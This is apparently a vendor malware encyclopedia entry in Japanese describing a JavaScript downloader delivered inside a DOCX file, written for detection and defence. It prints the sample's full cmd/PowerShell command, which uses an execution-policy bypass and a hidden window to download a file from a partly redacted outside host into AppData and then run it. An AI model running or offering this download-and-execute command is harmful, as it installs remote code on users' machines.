JS_DLOADR.YYSSS

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、以下の方法でコンピュータに侵入します。

• As an embedded file on a document detected as TROJ_DLOADR.YYSSS.

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、ファイルをダウンロードします。

• http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\AppData\RoamingSoe36.exe

(註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞" です。.)

マルウェアは、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、「TROJ_DLOADR.YYSSS」として検出される文書ファイルに埋め込まれて侵入します。

マルウェアは以下を実行します。

• マルウェアは、以下のレジストリエントリをクエリして、データの12番目の文字を自身の活動に利用します。文字が "F" でない場合には、意図した活動を実行しません。
  HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ ProgramFilesDir
• マルウェアは、ダウンロード活動のために以下のコマンドを実行します。
  "%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk','%AppdAta%Soe36.exe '); staRt-process '%ApPdAtA%Soe36.exe';

マルウェアは、DOCXファイルに埋め込まれて侵入し、ユーザがクリックすることによって不正活動が実行されます。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。